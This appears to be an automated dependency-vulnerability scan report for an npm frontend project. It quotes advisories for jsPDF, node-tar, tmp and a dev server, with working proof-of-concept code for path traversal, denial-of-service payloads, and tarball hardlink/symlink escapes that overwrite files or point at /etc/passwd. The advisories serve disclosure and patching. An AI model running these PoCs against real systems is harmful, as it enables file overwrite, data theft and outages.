1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.

### Impact
Users using the serve feature may get the source code stolen by malicious websites.CWE-346 Origin Validation ErrorVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?jspdf
Referenced In Project/Scope: package-lock.json: transitive
### Impact
User control of the first argument of the loadFile method in the node.js build allows local file inclusion/path traversal.
If given the possibility to pass unsanitized paths to the loadFile method, a user can retrieve file contents of arbitrary files in the local file system the node process is running in. The file contents are included verbatim in the generated PDFs.
Other affected methods are: `addImage`, `html`, `addFont`.
Only the node.js builds of the library are affected, namely the `dist/jspdf.node.js` and `dist/jspdf.node.min.js` files.
Example attack vector:
```js
import { jsPDF } from "./dist/jspdf.node.js";
const doc = new jsPDF();
doc.addImage("./secret.txt", "JPEG", 0, 0, 10, 10);
doc.save("test.pdf"); // the generated PDF will contain the "secret.txt" file
```
### Patches
The vulnerability has been fixed in jsPDF@4.0.0. This version restricts file system access per default. This semver-major update does not introduce other breaking changes.
### Workarounds
With recent node versions, jsPDF recommends using the `--permission` flag in production. The feature was introduced experimentally in v20.0.0 and is stable since v22.13.0/v23.5.0/v24.0.0. See the [node documentation](https://nodejs.org/api/permissions.html) for details.
For older node versions, sanitize user-provided paths before passing them to jsPDF.
### Credits
Researcher: kilkat (Kwangwoon Kim)CWE-35 Path Traversal: '.../...//', CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73 External Control of File Name or PathVulnerable Software & Versions (NPM):
### Impact
User control of the first argument of the addImage method results in CPU utilization and denial of service.
If given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service.
Other affected methods are: `html`.
Example payload:
```js
import { jsPDF } from "jspdf"
const payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154])
const doc = new jsPDF();
const startTime = performance.now();
try {
doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} finally {
const endTime = performance.now();
console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`);
}
```
### Patches
The vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@>=3.0.2.
In jspdf@>=3.0.2, invalid PNG files throw an Error instead of causing very long running loops.
### Workarounds
Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.
### Credits
Researcher: Aleksey Solovev (Positive Technologies)CWE-20 Improper Input Validation, CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')Vulnerable Software & Versions (NPM):
### Impact
User control of the first argument of the `addImage` method results in CPU utilization and denial of service.
If given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.
Other affected methods are: `html`, `addSvgAsImage`.
Example payload:
```js
import { jsPDF } from "jpsdf"
const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';
const startTime = performance.now()
try {
doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
const endTime = performance.now()
console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}
doc.save("a4.pdf");
```
### Patches
The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1
### Workarounds
Sanitize image urls before passing it to the `addImage` method or one of the other affected methods.
### Credits
Researcher: Aleksey Solovev (Positive Technologies)CWE-400 Uncontrolled Resource Consumption, CWE-770 Allocation of Resources Without Limits or ThrottlingVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/karma.conf.js
MD5: 0252269cf0d9f0811a1c470e800e2126
SHA1: a8499b99e58cb892900ba688441310f193138f11
SHA256:f02aa533841dbb98cbe4b7803b454f40a6ec1cbc22688b6468b511f98470e1a7
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/main-UIRZGBEJ.js
MD5: a1bb06aceafbb69cfe417f6d1c3412ae
SHA1: 8733e04a12066f0c83804aaa50ec805c52ef5ed1
SHA256:385f756e91ba760f2717244e31ee06371c35938ac11fa6899042c475a2c7648d
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/polyfills-FFHMD2TL.js
MD5: feb8fabaa54a01a42a5d3785369cea71
SHA1: f49b49a155bc7d192db62a4c15d0a612b460a667
SHA256:69dcea045643dd0de998a3cd0ccbbb46b46bff2651a87a56c73c28eb208e8f98
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/scripts-NF74VGQ5.js
MD5: 2abe734603979ee975e8274b59119ca2
SHA1: 7fb1a0e5a114d6185aa3326fccf5aad9b33825b3
SHA256:a9814773b8160ee75537eda6c65bd42701f083ead42d512e87bf0a2855031330
File Path: /builds/pub/numeco/misis/misis-frontend/src/assets/static-config.js
MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
File Path: /builds/pub/numeco/misis/misis-frontend/src/environments/dev/static-config.js
MD5: 62b7e80d9134a8ee5788ac652ac9f8d7
SHA1: 54fcf9c96e56ebbb55a4deabddc151e56ff6ceeb
SHA256:3e48f28be9b18eb4ad11c24fe3530f2723ef0277b80000bc2c62ad91011474ec
File Path: /builds/pub/numeco/misis/misis-frontend/src/environments/prod/static-config.js
MD5: ddbf4a72b50a5e5caacfc3f7cd13cddc
SHA1: 7c09b64f05b54c626c77e65fce405acb0299bdf5
SHA256:4c19ade5d5a370479f980d8fec6dd892b9fa29d3912a04fb67b972b3f3dcf980
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tar
Referenced In Project/Scope: package-lock.json: transitive
**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
**AUTHOR**: Tomás Illuminati
### Details
A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
```typescript
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
paths =
isWindows ?
['win32 parallelization disabled']
: paths.map(p => {
return stripTrailingSlashes(
join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
).toLowerCase()
})
```
In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example:
``````bash
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
``````
---
### PoC
``````javascript
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
``````
---
### Impact
This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.
---
### Remediation
Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`.
Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
---CWE-176 Improper Handling of Unicode EncodingVulnerable Software & Versions (NPM):
### Summary
The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.
### Details
The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.
**1. Hardlink Escape (Arbitrary File Overwrite)**
The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
**2. Symlink Poisoning**
The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.
### PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
```javascript
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
```
### Impact
* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.)CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tmp
Referenced In Project/Scope: package-lock.json: transitive
### Summary
`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.
### Details
According to the documentation there are some conditions that must be held:
```
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
```
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:
```js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
```
If the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it's possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:
```js
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
```
### PoC
The following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it
```bash
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
```
- check the folder is empty:
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
```
- run the poc
```bash
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
```
- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):
```bash
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
```
- `main.js`
```js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
```
A Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.
```js
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
```
### Impact
Arbitrary temporary file / directory write via symlinkCWE-59 Improper Link Resolution Before File Access ('Link Following')Vulnerable Software & Versions (NPM):